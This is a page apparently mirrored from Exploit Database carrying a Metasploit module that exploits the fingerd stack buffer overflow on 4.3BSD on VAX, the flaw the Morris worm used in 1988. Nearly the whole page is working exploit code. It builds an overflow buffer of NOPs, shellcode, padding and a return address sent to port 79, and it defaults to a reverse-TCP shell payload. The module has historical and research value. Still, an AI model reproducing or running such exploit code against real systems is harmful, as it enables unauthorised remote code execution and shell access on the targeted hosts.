Morris Worm – fingerd Stack Buffer Overflow (Metasploit)

• Exploit Database
• 11 阅读

• 作者： Metasploit
  日期： 2018-11-06
• 类别：

  • remote
  平台：

  • bsd
• 来源：https://www.exploit-db.com/exploits/45791/

• ##
  # This module requires Metasploit: https://metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  class MetasploitModule < Msf::Exploit::Remote
  
  Rank = NormalRanking
  
  # This is so one-off that we define it here
  ARCH_VAX = 'vax'
  
  include Msf::Exploit::Remote::Tcp
  
  def initialize(info = {})
  super(update_info(info,
  'Name'=> 'Morris Worm fingerd Stack Buffer Overflow',
  'Description' => %q{
  This module exploits a stack buffer overflow in fingerd on 4.3BSD.
  This vulnerability was exploited by the Morris worm in 1988-11-02.
  Cliff Stoll reports on the worm in the epilogue of The Cuckoo's Egg.
  },
  'Author'=> [
  'Robert Tappan Morris', # Discovery? Exploit and worm for sure
  'Cliff Stoll',# The Cuckoo's Egg epilogue and inspiration
  'wvu' # Module, payload, and additional research
  ],
  'References'=> [
  ['URL', 'https://en.wikipedia.org/wiki/Morris_worm'], # History
  ['URL', 'https://spaf.cerias.purdue.edu/tech-reps/823.pdf'],# Analysis
  ['URL', 'http://computerarcheology.com/Virus/MorrisWorm/'], # Details
  ['URL', 'https://github.com/arialdomartini/morris-worm'], # Source
  ['URL', 'http://gunkies.org/wiki/Installing_4.3_BSD_on_SIMH'] # Setup
  # And credit to the innumerable VAX ISA docs on the Web
  ],
  'DisclosureDate'=> 'Nov 2 1988',
  'License' => MSF_LICENSE,
  'Platform'=> 'bsd',
  'Arch'=> ARCH_VAX,
  'Privileged'=> false, # Depends on inetd.conf, usually "nobody"
  'Targets' => [
  # https://en.wikipedia.org/wiki/Source_Code_Control_System
  ['@(#)fingerd.c 5.1 (Berkeley) 6/6/85',
  'Ret' => 0x7fffe9b0,
  'Payload' => {
  'Space' => 403,
  'BadChars'=> "\n",
  'Encoder' => 'generic/none', # There is no spoon
  'DisableNops' => true# Hardcoded NOPs
  }
  ]
  ],
  'DefaultTarget' => 0,
  'DefaultOptions'=> {'PAYLOAD' => 'bsd/vax/shell_reverse_tcp'}
  ))
  
  register_options([Opt::RPORT(79)])
  end
  
  def check
  token = rand_text_alphanumeric(8..42)
  
  connect
  sock.put("#{token}\n")
  res = sock.get_once
  
  return CheckCode::Unknown unless res
  
  if res.include?("Login name: #{token}")
  return CheckCode::Detected
  end
  
  CheckCode::Safe
  rescue Rex::ConnectionError => e
  vprint_error(e.message)
  CheckCode::Unknown
  ensure
  disconnect
  end
  
  def exploit
  # Start by generating our custom VAX shellcode
  shellcode = payload.encoded
  
  # 0x01 is NOP in VAX-speak
  nops = "\x01" * (target.payload_space - shellcode.length)
  
  # This overwrites part of the buffer
  junk = rand_text_alphanumeric(109)
  
  # This zeroes out part of the stack frame
  frame = "\x00" * 16
  
  # Finally, pack in our return address
  ret= [target.ret].pack('V') # V is for VAX!
  
  # The newline is for gets(3)
  sploit = nops + shellcode + junk + frame + ret + "\n"
  
  # Fire away
  print_status('Connecting to fingerd')
  connect
  print_status("Sending #{sploit.length}-byte buffer")
  sock.put(sploit)
  
  # Hat tip @bcoles
  rescue Rex::ConnectionError => e
  fail_with(Failure::Unreachable, e.message)
  ensure
  disconnect
  end
  
  end